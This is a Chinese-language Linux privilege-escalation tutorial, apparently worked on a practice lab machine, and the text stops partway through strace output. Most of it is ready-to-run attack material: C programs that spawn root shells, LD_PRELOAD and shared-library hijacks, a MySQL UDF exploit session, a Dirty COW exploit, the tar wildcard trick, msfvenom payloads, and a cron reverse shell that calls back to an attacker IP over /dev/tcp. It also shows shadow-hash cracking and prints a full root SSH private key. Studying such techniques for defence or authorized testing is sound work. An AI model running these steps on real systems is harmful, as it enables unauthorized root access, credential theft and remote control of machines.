文章来源: 疯猫网络
我们在 Linux 中特权升级的最终目标是获得root用户
四者之间的关系
用户可以属于多个组。组可以具有多个用户。
每个文件和目录都根据用户、组和 其他用户所有其他用户 来定义其权限。
用户
用户帐户配置在/etc/passwd文件。
用户密码哈希存储在/etc/shadow文件中。
用户由整数用户 ID (UID)识别。
root用户帐户是 Linux 中的一种特殊类型的帐户。它的 UID 为 0,系统允许此用户访问每个文件。
组
组配置在/etc/group文件中。
用户有一个主要组,并且可以有multiple二级(或补充)组。
默认情况下,用户的主要组与用户帐户的名称相同。
文件和目录
所有文件和目录都有一个所有者和一个组。
权限以读取、编写和执行操作的方式定义。
有三组权限,一组为所有者,一组为组,一组为所有"其他"用户
只有所有者才能更改权限
文件权限
• Read -设置后,可以读取文件内容。
• Write -设置后,文件 内容可以修改。
• Execute -设置后,文件可以执行 (即作为某种过程运行 )。
目录权限
• Execute 设置时,目录可以输入。未经此许可,读取或写入权限均不起作用。
• Read -设置时,目录内容可以列出。
• Write -设置时,文件和子目录可以在目录中创建。
特殊权限
• setuid (SUID) bit
设置后,文件将使用文件所有者的权限执行。
• setgid (SGID) bit
设置在文件上时,文件将使用文件组的权限执行。
设置在目录上时,该目录内创建的文件将继承目录本身的组。
查看权限
ls命令可以查看权限
ls -l /bin/date
简单阐述一下:前10个字符表示对文件设置的权限或目录。
第一个字符只是表示类型,例如,文件d的-用于目录
剩下的9个字符代表3组权限(所有者、组、其他)
每组包含3个字符,表示读(r)、写(r),可执行(x)
SUID/SGID权限由中的s表示执行位置
前言
用户是由用户ID标识的。
实际上,在Linux中,每个用户有3个用户id(real,effective,and saved)
用户的真实ID是他们的真×实×身份/etc/passwd中定义的ID
继续深入
用户的有效ID通常等于其真实ID,但是作为另一个用户执行一个进程时有效ID被设置为该用户的真×实×身份。
在大多数访问控制决策中,有效ID用于验证用户,
whoami等命令使用有效ID。
最后,保存的ID用于确保SUID进程
临时将用户的有效ID切换回其真实ID并返回,在不丢失原始有效ID的情况下
实操
真实、有效、已保存和文件系统用户/组ID
cat /proc/$$/status | grep "[UG]id"
目标:生成root外壳执行/bin/sh或/bin/bash
创建一个副本
在/bin/bash可执行文件中创建一个副本 ,通常将其重命名为rootbash,确保它归根用户所有
并且设置了SUID位,只需执行rootbash文件就可以生成root的shell
使用-p命令行选项,可以持久,方便我们多次利用rootbash
可能存在某些根进程执行另一个root进程,你可以控制的过程。
这时候
int main() {
setuid(0);
system("/bin/bash -p");
}
上一串神秘的.c代码
gcc -o <name> <filename.c
编译后,将生成一个以root身份运行的Bash shell:
反向外壳 首先msfvenom,又叫毒液
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > a001.elf
接收shell的话 可以使用:nc或者msf中的监听(multi/handler)
使用一个工具是
https://github.com/mthbernardes/rsg
接收shell的话 可以使用:nc
优点:靶机环境没有安装Python
lse.sh是一个 Bash 脚本,它有多个级别, 一步一步的扩展信息
https://github.com/diego-treitos/linux-smart-enumeration
LinEnum 是一个高级 Bash 脚本,它从目标系统中提取了大量有用的信息。
它可以复制文件并进行导出,同时可以搜索包含关键字的文件。
https://github.com/rebootuser/LinEnum
https://github.com/linted/linuxprivchecker
https://github.com/AlessandroZ/BeRoot
http://pentestmonkey.net/tools/audit/unix-privesc-check
内核是任何操作系统的核心。
将其视为应用程序软件和实际计算机硬件之间的一层
但是这边注意:没有在必要的情况下,不建议使用,因为会把目标机器搞的宕机
1.查看内核版本(uname-a)
2.查找与之相匹配的漏洞(Google, ExploitDB, GitHub)。
3.编译并运行。
查看内核版本
漏洞寻找
searchsploit Linux debian 2.6.32
安装漏洞建议器
https://github.com/jondonas/linux-exploit-suggester-2
查看参数
[-h]帮助[-k]内核号
[-d]打开漏洞利用下载菜单
./linux-exploit-suggester-2.pl -k 2.6.32
可以看到有许多的Dirty COW的漏洞利用
CVE-2016-5195
这里参考:https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54
进行编译
gcc -pthread c0w.c -o c0w
漏洞利用
python开始HTTP服务 机器通过wget下载c0w.c
进行编译执行
通过二进制文件
/usr/bin/passwd
成功拿到root权限
服务只是在后台运行、接受输入或执行常规任务的程序。
如果弱势服务以root权限运行,则利用它们可导致命令执行
使用 Searchsploit、谷歌和 GitHub 可以找到服务漏洞,就像使用内核漏洞一样。
ps aux | grep "^root"
使用 命令行选项运行程序通常显示版本编号:
<program> --version<program> -v
类似 Debian 的系统上,dpkg 可以显示已安装的程序及其版本:
dpkg -l | grep <program>
在使用rpm的系统上
rpm –qa | grep <program>
查看以root权限运行的服务
看到mysql数据库 在以root权限运行
查看Mysqld的版本号
Mysql数据库可以用过UDF提权进行实现
Mysql-UDF提权
https://www.exploit-db.com/exploits/1518
安装通过共享对象运行的用户定义功能 进行提权
下载源码到靶机
用法要进行一些修改
这里要提一下
gcc编译中的选项
加上 fPIC 选项生成的动态库,显然是位置无关的,这样的代码本身就能被放到线性地址空间的任意位置,无需修改就能正确执行可以理解为放宽了编译通过的维度
[email protected]:~$ gcc -g -c raptor_udf2.c [email protected]:~$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o [email protected]:~$ mysql -u root -pEnter password: Welcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 35Server version: 5.1.73-1+deb6u1 (Debian)Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> use mysql;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql> create table foo(line blob);Query OK, 0 rows affected (0.01 sec)mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));Query OK, 1 row affected (0.00 sec)mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';Query OK, 1 row affected (0.00 sec)mysql> create function do_system returns integer soname 'raptor_udf2.so';Query OK, 0 rows affected (0.00 sec)mysql> select do_system('cp /bin/bash /tmp/rootbash;chmod +s /tmp/rootbash');+----------------------------------------------------------------+| do_system('cp /bin/bash /tmp/rootbash;chmod +s /tmp/rootbash') |+----------------------------------------------------------------+| 0 |+----------------------------------------------------------------+1 row in set (0.01 sec)mysql> [email protected]:~$ /tmp/rootbash -prootbash-4.1# iduid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
看看目标机器正在监听的端口
但是它绑定到 本地主机地址:127.0.0.1 所以我们不能从外部访问它
端口转发
某些情况下,root过程可能受约束于内部端口
如果由于某种原因,漏洞攻击不能在目标机器上本地运行,则端口可以使用SSH转发到本地机器:
ssh -R <kali本地端口>:127.0.0.1:< 目标端口 ><苏塞纳梅>@<kali本地IP>ssh -R 5555:127.0.0.1:3306 [email protected]
如果某些系统文件的权限太弱,则可以利用某些系统文件执行权限升级。
如果系统文件有我们可以读取的机密信息,则可用于访问root
如果可以写入系统文件,我们就可以修改,操作系统的工作方式并以这种方式获得root权限
在/etc:中查找所有可写文件:
find /etc -maxdepth 1 -writable -type f
在/etc:中查找所有可读文件:
find /etc -maxdepth 1 -readable -type f
查找可写入的所有目录:
find / -executable -writable -type d 2> /dev/null
/etc/shadow文件包含用户密码哈希值,默认情况下,除root用户外,任何用户都无法读取。
思路一:
如果我们能够读取 /etc/shadow 文件的内容,我们也许能够破解根用户的密码哈希。思路二:
如果我们能够修改/etc/shadow文件,我们可以用我们所知道的密码哈希替换root用户的密码哈希
实操一、
1.检查权限 /etc/shadow 文件
ls -l /etc/shadow
2.提取root用户的密码哈希
head -n 1 /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
3.将密码哈希保存在文件中
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > 'hash.txt'
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
su
实操二、
ls -l /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
mkpasswd -m sha-512 password $6$WLjW9I7t4e7hhgDy$5smTCs43aPOZCR3KrG.BGuyzDyjsegc3ix3lRSZfX.O26gKGsznN6x9rs6jtxh5//qEZNS2IOUCvgbUQrAU04.
root用户的密码:password
前言
/etc/passwd历史上包含用户密码哈希。
为了向后兼容,如果/etc/passwd中用户行的第二个字段包含密码哈希,它优先于/etc/shadow中的哈希
如果我们可以写入/etc/passwd,我们就可以很容易地输入一个已知的密码散列 root用户,然后使用su命令切换到根用户。
或者,如果我们只能附加到文件,我们可以创建一个新的用户,为他们分配根用户ID(0)。
这是因为Linux允许多个条目,对于相同的用户名,只要用户名不同
/etc/passwd的root帐户配置的:
root:x:0:0:root:/root:/bin/bash #通常
第二个字段中的x指示 Linux 查找 /etc/shadow文件中的密码哈希。
在Linux的某些版本中,可以简单地删除x,Linux 将其解释为用户没有密码:
root::0:0:root:/root:/bin/bash
实操
检查/etc/passwd文件的权限:
ls -l /etc/passwd
2.使用openssl生成密码哈希:
openssl passwd "qwer"
3.编辑/etc/passwd文件
输入root用户行第二个字段中的哈希:
ZSL11eCDBkMnk
保存 退出
4.使用su命令切换到根用户
su
因为优先级问题 所以机器root账户的密码是:qwer
创建备用根用户
qwer:ZSL11eCDBkMnk:0:0:root:/root:/bin/bash
2.使用su命令切换到新根用户:
su
前言
即使计算机在重要或敏感文件上拥有正确的权限,用户也可能已创建这些文件的不安全备份。
它总是值得探索的文件系统寻找可读的备份文件。
一些常见的地方包括 / (root) directory, /tmp, and /var/backups
实操
1.在常见位置查找文件,尤其是一些隐藏文件
ls -la /home/user ls -la / ls -la /tmp ls -la /var/backups
2.root目录下存在隐藏的.ssh目录:
drwxr-xr-x 2 root root 4096 Aug 24 18:57 .ssh
3.翻看.ssh目录
一个可读的文件root_key
4.进一步检查root_key文件
head -n 1 /.ssh/root_key
这是一个 SSH 私钥。文件的名称和所有者告诉我们密钥属于root用户:
注意
在我们尝试使用此密钥之前,让我们确认甚至允许通过 SSH 登录根:
grep PermitRootLogin /etc/ssh/sshd_config
5.将密钥复制到本地机器,并给予其正确的权限
-----BEGIN RSA PRIVATE KEY-----MIIEpAIBAAKCAQEA3IIf6Wczcdm38MZ9+QADSYq9FfKfwj0mJaUteyJHWHZ3/GNmgLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpExlp4oSmTxYnO0LDcsezwNhBZn0kljtGu9p+dmmKbk40W4SWlTvU1LcEHRr6RgWMgQoOHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HDeV9G5JrjnVrDqSjhysUANmUTjUCTSsofUwlum+pU/dl9YCkXJRp7Hgy/QkFKpFETZ36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAoIBAQDDWdSDppYA6uz2NiMsEULYSD0z0HqQTjQZbbhZOgkS6gFqa3VH2OCm6o8xSghdCB3Jvxk+i8bBI5bZYaLGH1boX6UArZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+5JNyccuvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244elWUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPShXBEwP1VkF/2FFPvwi1JCCMUGS27avN7VDFru8hDPCCmE3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLyYZ4N76JoPCYFxAoGBAPi0ALpmNz17iFClfIqDrunUy8JT4aFxl0kQ5y9rKeFwNu50nTIW1X+343539fKIcuPB0JY9ZkO9d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNy3K824ihKlQVDC9eYezWWs2pqZk/AqO2IHSlzL4v0T0GyzOsKJH6NGTvYhrAoGBAOL6Wg07OXE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzcU7LXiuDNcl5u+Pihbv73rPNZOsixkklb5t3Jg1OcvvYcL6hMRwLL4iqG8YDBmlK1Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIKFJSSt5Cu2GxIH51ZiSXeaH906XF132aeU4V83ZGFVnN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDp+tYi/GVd+oc5YlWXlE9bAvC+3nw8P+XPoKRfwPfUOXp46lf6O8zYQZgj3r+0XLd6JA561ImjQdJGEg9u81GI9jm2D60xHFFAoGAPFatRcMuvAeFAl6t4njWnSUPVwbelhTDIyfa871GglRskHslSskaA7U6I9QmXxIqnL29ild+VdCHzM7XZNEVfrY8xdw8okmCR/okX2VIghuzMB3CFY1hez7T+tYwsTfGXKJP4wqEMsYntCoa9p4QYA+7I+LhkbEm7xk4CLzB1T0CgYB2Ijb2DpcWlxjX08JRVi8+R7T2Fhh4L5FuykcDeZm1OvYeCML32EfNWhp/Mr5B5GDmMHBRtKaiLS8/NRAokiibsCmMzQegmfipo+35DNTW66DDq47RFgR4LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiaWNi7t9UNyayRmwejI6phSw==-----END RSA PRIVATE KEY-----
chmod 600 root_key 赋予权限
6.使用将SSH的密钥登录root帐户:
ssh -i root_key [email protected]
sudo 是一个程序,允许用户运行具有其他用户安全特权的其他程序。
默认情况下,该其他用户将是root用户
用户通常需要输入密码才能使用sudo,并且必须允许用户通过/etc/sudoersfile文件中的规则访问。
规则可用于将用户限制在某些程序中,并放弃密码输入要求。
使用sudo运行程序:
sudo <program>
以特定用户的身份运行程序:
sudo –u <username> <program>
允许(且不允许)运行列出用户的程序:
sudo -l
到目前为止,用sudo最明显的特权升级是使用sudo,因为它是预期的!
通过使用交换用户su命令生成root
sudo su
其他方法
有些时候不允许执行 su 计划,则有许多其他方法可以升级特权:
sudo -s sudo -i sudo /bin/bash sudo passwd
即使没有"明显"的方法来升级特权,我们也可以使用外壳逃生序列。
即使我们仅限于通过sudo运行某些程序有时也有可能"逃避"程序并生成壳。
由于初始程序具有root权限运行,因此生成的外壳也是如此。
此处可以找到带有外壳逃生序列的程序列表:https://gtfobins.github.io
1.列出允许用户运行的程序
sudo -l
2.对每个程序进行查表,要细心
https://gtfobins.github.io/
3.如果存在逃生序列,则通过sudo 运行程序并执行序列以生成根壳。
如果程序没有逃生序列,则仍可能使用它来升级权限。
如果我们能够读取root用户拥有的文件,我们也许能够提取有用的信息(例如密码、哈希斯、密钥)。
如果我们 可以写信给root拥有的文件,我们也许能够插入或修改信息。
实操
允许用户通过Sudo运行的程序:
sudo -l
2.apache2
已知中:apache2没有任何已知的外壳逃逸
但是,在解析给定的配置文件时,会出错并打印任何它不理解的行
3.使用sudo运行apache2,并提供/etc/shadow文件作为配置文件
sudo apache2 -f /etc/shadow
4.从文件中提取根用户的哈希。
5.将密码哈希保存在文件中:
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt
6.使用开膛手破解密码哈希:
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
7.使用su 命令切换到root用户
su
环境变量
通过sudo运行的程序可以从用户的环境中继承环境变量。
在/etc/sudoers配置文件中,
如果设置env_reset选项,sudo 将在新的、最小的环境中运行程序。
env_keep选项可用于防止某些环境变量远离用户的环境。
sudo -l时显示配置的选项
LD_PRELOAD预加载 是一个环境变量,可以设置为共享对象 (.so)文件的路径。
设置时,共享对象将先于任何其他对象加载。
通过创建自定义共享对象并创建 init()功能,我们可以在加载 object 后立即执行代码。
如果真正的用户 ID与有效的用户 ID不同,则LD_PRELOAD将不起作用。
必须配置 sudo,以便使用env_keep选项来维护LD_PRELOAD环境变量。
1.列出允许用户运行的程序
sudo -l
注意:env_keep包括LD_PRELOAD环境变量
2.创建具有以下内容的文件(preload.c):
#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() {unsetenv("LD_PRELOAD");setresuid(0,0,0);system("/bin/bash -p");}
3.编译preload.c到preload.so:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
4.使用sudo运行任何允许的程序,同时将LD_PRELOAD环境变量设置为preload.so文件的完整路径:
sudo LD_PRELOAD=/tmp/preload.so apache2
LD_LIBRARY_PATH
前言
LD_LIBRARY_PATH环境变量包含一组目录,首先搜索共享库。
ldd 命令可用于打印程序使用的共享库:
ldd /usr/sbin/apache2
通过创建与程序使用的同名共享库,并将LD_LIBRARY_PATH设置为其父目录,程序将转而加载我们的共享库。
实操
1.运行ldd对apache2程序文件:
ldd /usr/sbin/apache2
这个方法是进行劫持共享对象是命中或未命中的从中选择一个列表并尝试它
2.创建具有以下内容的文件(library_path.c):
#include <stdio.h>#include <stdlib.h>static void hijack() __attribute__((constructor));void hijack() {unsetenv("LD_LIBRARY_PATH");setresuid(0,0,0);system("/bin/bash -p");}
3.将library_path.c 编译成libcrypt.so.1:
gcc -o libcrypt.so.1 -shared -fPIC library_path.c
4.使用 sudo运行 apache2,同时将LD_LIBRARY_PATH环境变量设置为当前路径(我们汇编library_path.c):
sudo LD_LIBRARY_PATH=. apache2
Cron jobs是用户可以安排在特定时间或间隔运行的程序或脚本。
Cron jobs与拥有它们的用户的安全级别一起运行。
默认情况下,使用环境变量有限的/bin/shshell
Cron tables存储了Cron jobs的配置
User Crontabs通常位于/var/spool/cron/or/var/spool/cron/crontabs/
system系统的crontab位于/etc/crontab
与 Cron jobs关联的文件权限配置错误可能导致提权
如果我们可以编写到作为 cron jobs的一部分运行的程序或脚本,我们可以用我们自己的代码替换它。
1.查看system-wide crontab的内容:
cat /etc/crontab
2.在服务器上查找overwrite.sh 文件:
locate overwrite.sh
/usr/local/bin/overwrite.sh
3.检查文件的权限
ls -l /usr/local/bin/overwrite.sh
注意:这个文件是可写的
4.将 overwrite.sh文件的内容替换为:
#!/bin/bash bash -i >& /dev/tcp/192.168.175.130/4444 0>&1
5.kali上运行nc
等待 cron jobs运行,返回root权限
默认情况下,crontab环境变量设置为:/usr/bin:/bin
路径变量可以覆盖在crontab文件中。
如果 cron jobs程序/脚本不使用绝对路径,并且其中一个 PATH 目录可由我们的用户编写,我们也许能够创建与 cron jobs同名的程序/脚本。
1.查看system-wide crontab的内容:
cat /etc/crontab
请注意,/home/user目录(我们可以写信给)位于 PATH 变量的开头,并且第一个 cron jobs不使用绝对路径。
2.在/home/user 中创建文件 overwrite.sh,内容如下:
#!/bin/bash cp /bin/bash /tmp/rootbash chmod +s /tmp/rootbash
3.加权
$ chmod +x /home/user/overwrite.sh
4.等待cronjob运行(此作业尤其每分钟运行一次)。
5.创建/tmp/rootbash文件
执行它,使用与-p保存有效的UID
/tmp/rootbash –p
前言
当通配符字符* 作为参数的一部分提供给命令时,外壳将首先在通配符上执行 文件名扩展 (也称为 globbing)
此过程将用以空格分隔的文件列表替换通配符,以及当前目录中的目录名
执行命令:
echo *
通配符 & 文件名
由于Linux 中的文件系统通常对文件名非常允许,并且文件名扩展在执行命令之前发生,因此可以通过创建具有这些名称的文件将命令行选项(例如 -h,-help)传递到命令
文件名不仅限于简单的选项
事实上,我们可以创建匹配复杂选项的文件名:
--option=key=value
参考:https://gtfobins.github.io
可以帮助确定命令是否有有命令行选项
实操
1.查看system-wide crontab内容:
cat /etc/crontab
root /usr/local/bin/compress.sh
cat /usr/local/bin/compress.sh
注意:tar命令在/home/user中使用通配符*运行
3.查阅参考
显示tar具有命令行选项,可以用来运行其他命令作为检查点功能的一部分
4.使用msfvenom创建反向壳ELF有效载荷:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.175.161 LPORT=4444 -f elf -o shell.elf
5.搞文件到tar所在运行目录,并加权:
python开启HTTP服务
chmod +x /home/user/shell.elf
6.在/home/user目录中创建两个文件:
touch /home/user/--checkpoint=1 touch /home/user/--checkpoint-action=exec=shell.elf
7.kali运行nc等待cron job
SUID文件使用文件所有者的权限执行。
SGID文件使用文件组的权限执行。
如果文件归root所有则使用root特权执行我们也许能够使用它来升级权限。
我们可以使用以下find命令查找带有SUID 或 SGID 位集的文件
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
正如我们能够使用壳逃生序列与程序运行通过sudo,我们可以做同样的SUID/SGID文件。
此处可以找到带有外壳逃生序列的程序列表 :https://gtfobins.github.io/
注意:默认情况下, 环境变量LD_PRELOAD & LD_LIBRARY_PATH
这是在Linux禁用,因为它带来的明显安全风险!
执行 SUID 文件时,这两个环境变量都会被忽略
某些程序安装 SUID 文件以帮助其操作。
正如作为root运行的服务可能有漏洞,我们可以利用root外壳,这些SUID文件也可以。
使用Searchsploit, Google, and GitHub可以找到漏洞
1.在目标上查找SUID/SGID 文件 :
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
Exim 是一个邮件转账代理,但是它存在许多安全漏洞
2.版本确认:
/usr/sbin/exim-4.84-3 --version
3.漏洞寻找
searchsploit exim 4.84
这个:linux/local/39535.sh
4.漏洞利用(CVE-2016-1531)
脚本复制到目标机器上。您可能需要从脚本中删除^M字符:
sed -e "s/^M//" 39535.sh > a001.sh
注意:要获得^M,必须按住Ctrl,然后连续按V和M。
5.加权
chmod +x a001.sh
6.执行脚本以获得根壳:
./a001.sh
前言
执行程序时,它将尝试加载所需的共享对象。
通过使用称为strace 的程序,我们可以跟踪这些系统呼叫并确定是否未找到任何共享对象。
如果我们可以写信给程序尝试 打开的位置,我们可以创建一个共享对象,并在加载时生成root
实操
1.在目标上查找SUID/SGID文件 :
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
suid-so文件在root用户权限下执行
2.在SUID文件上运行分层:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
[email protected]:~$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)open("/etc/ld.so.cache", O_RDONLY) = 3access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)open("/lib/libdl.so.2", O_RDONLY) = 3access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)open("/lib/libm.so.6", O_RDONLY) = 3access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)open("/lib/libgcc_s.so.1", O_RDONLY) = 3access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)open("/lib/libc.so.6", O_RDONLY) = 3open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)[email protected]:~$
可以看到找不到共享对象libcalc.so,程序正在查看用户的家庭目录,我们可以写东西给这个目录
3.创建 /home/user/.config目录
注意:这里查看的话 要查看隐藏文件夹命令
4.创建libcalc.c具有 以下 内容:
#include <stdio.h>#include <stdlib.h>static void inject() __attribute__((constructor));void inject() {setuid(0);system("/bin/bash -p");}
5.进行编译
gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c
6.运行可执行的SUID以获得根壳:
/usr/local/bin/suid-so
前言
PATH 环境变量包含外壳应尝试查找程序的目录列表。
如果程序尝试执行其他程序,但只指定程序名称,而不是其完整(绝对)路径,则外壳将搜索 PATH 目录,直到找到为止。
由于用户完全控制其 PATH 变量,我们可以告诉外壳首先在目录中查找我们可以写到的程序。
查找易受攻击的程序
如果程序尝试执行其他程序,该程序的名称可能嵌入到可执行文件中,作为string。
我们可以在可执行文件上运行strings以查找strings。
我们还可以使用策略(strace)来查看程序的执行情况。另一个称为"Itrace"的程序也可能有用。
对文件运行字符串:
strings /path/to/file
strace -v -f -e execve <command> 2>&1 | grep exec
ltrace <command>
1.在目标上查找SUID/SGID文件 :
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
suid-env文件在root用户权限下执行
2.在SUID文件上运行stings:
strings /usr/local/bin/suid-env
该文件可能正在尝试在没有完整路径的情况下运行服务程序。
3.我们可以用策略来验证这一点:
strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
[email protected]:~$ strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service[pid 4721] execve("/bin/sh", ["sh", "-c", "service apache2 start"], ["TERM=xterm-256color", "SHELL=/bin/bash", "HISTSIZE=1000000", "SSH_CLIENT=192.168.175.130 41318"..., "SSH_TTY=/dev/pts/1", "HISTFILESIZE=1000000", "USER=user", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "MAIL=/var/mail/user", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/user", "LANG=en_US.UTF-8", "SHLVL=1", "HOME=/home/user", "LOGNAME=user", "SSH_CONNECTION=192.168.175.130 4"..., "_=/usr/bin/strace", "OLDPWD=/usr/local/bin"]) = 0[pid 4721] execve("/usr/sbin/service", ["service", "apache2", "start"], ["SHELL=/bin/bash", "TERM=xterm-256color", "HISTSIZE=1000000", "SSH_CLIENT=192.168.175.130 41318"..., "SSH_TTY=/dev/pts/1", "USER=user", "HISTFILESIZE=1000000", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "PATH=/usr/local/bin:/usr/bin:/bi"..., "MAIL=/var/mail/user", "_=/usr/sbin/service", "PWD=/home/user", "LANG=en_US.UTF-8", "HOME=/home/user", "SHLVL=2", "LOGNAME=user", "SSH_CONNECTION=192.168.175.130 4"...]) = 0[pid 4722] execve("/usr/bin/basename", ["basename", "/usr/sbin/service"], ["TERM=xterm-256color", "SHELL=/bin/bash", "HISTSIZE=1000000", "SSH_CLIENT=192.168.175.130 41318"..., "SSH_TTY=/dev/pts/1", "HISTFILESIZE=1000000", "USER=user", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "MAIL=/var/mail/user", "PATH=/usr/local/bin:/usr/bin:/bi"..., "_=/usr/bin/basename", "PWD=/home/user", "LANG=en_US.UTF-8", "SHLVL=3", "HOME=/home/user", "LOGNAME=user", "SSH_CONNECTION=192.168.175.130 4"...]) = 0[pid 4723] execve("/usr/bin/basename", ["basename", "/usr/sbin/service"], ["TERM=xterm-256color", "SHELL/bin/bash", "HISTSIZE=1000000", "SSH_CLIENT=192.168.175.130 41318"..., "SSH_TTY=/dev/pts/1", "HISTFILESIZE=1000000", "USER=user", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "MAIL=/var/mail/user", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/user", "LANG=en_US.UTF-8", "SHLVL=3", "HOME=/home/user", "LOGNAME=user", "SSH_CONNECTION=192.168.175.130 4"..., "_=/usr/bin/basename"]) = [email protected]:~$
可选地,我们也可以用Itrace验证:
ltrace /usr/local/bin/suid-env 2>&1 | grep service
这表明 系统 功能正用于执行 服务 计划。
4.创建 service.c具有 以下 内容:
int main() { setuid(0); system("/bin/bash -p"); }
5.编译service.c文件:
gcc -o service service.c
6.将当前目录(或可执行新服务的位置)预编到PATH 变量,并执行用于根壳的 SUID 文件:
PATH=.:$PATH /usr/local/bin/suid-env
前言
在某些外壳中(特别是 Bash <4.2-048)可以使用绝对路径名称定义用户功能。
这些功能是可以导出,用来方便子处理程序能够访问它们,并且这些函数可以优先于实际可执行的呼叫。
实操
1.在目标上查找SUID/SGID 文件 :
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
suid-env文件在root权限下执行
2.在SUID文件上运行字符串:
strings /usr/local/bin/suid-env2
该文件可能正在尝试运行 /usr/sbin/service
3.我们可以用strace(策略)来验证这一点:
strace -v -f -e execve /usr/local/bin/suid-env2 2>&1 | grep service
[email protected]:~$ strace -v -f -e execve /usr/local/bin/suid-env2 2>&1 | grep service[pid 4892] execve("/bin/sh", ["sh", "-c", "/usr/sbin/service apache2 start"], ["TERM=xterm-256color", "SHELL=/bin/bash", "HISTSIZE=1000000", "SSH_CLIENT=192.168.175.130 41318"..., "OLDPWD=/usr/local/bin", "SSH_TTY=/dev/pts/1", "HISTFILESIZE=1000000", "USER=user", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "MAIL=/var/mail/user", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/user", "LANG=en_US.UTF-8", "SHLVL=1", "HOME=/home/user", "LOGNAME=user", "SSH_CONNECTION=192.168.175.130 4"..., "_=/usr/bin/strace"]) = 0[pid 4892] execve("/usr/sbin/service", ["/usr/sbin/service", "apache2", "start"], ["SHELL=/bin/bash", "TERM=xterm-256color", "HISTSIZE=1000000", "SSH_CLIENT=192.168.175.130 41318"..., "SSH_TTY=/dev/pts/1", "USER=user", "HISTFILESIZE=1000000", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., 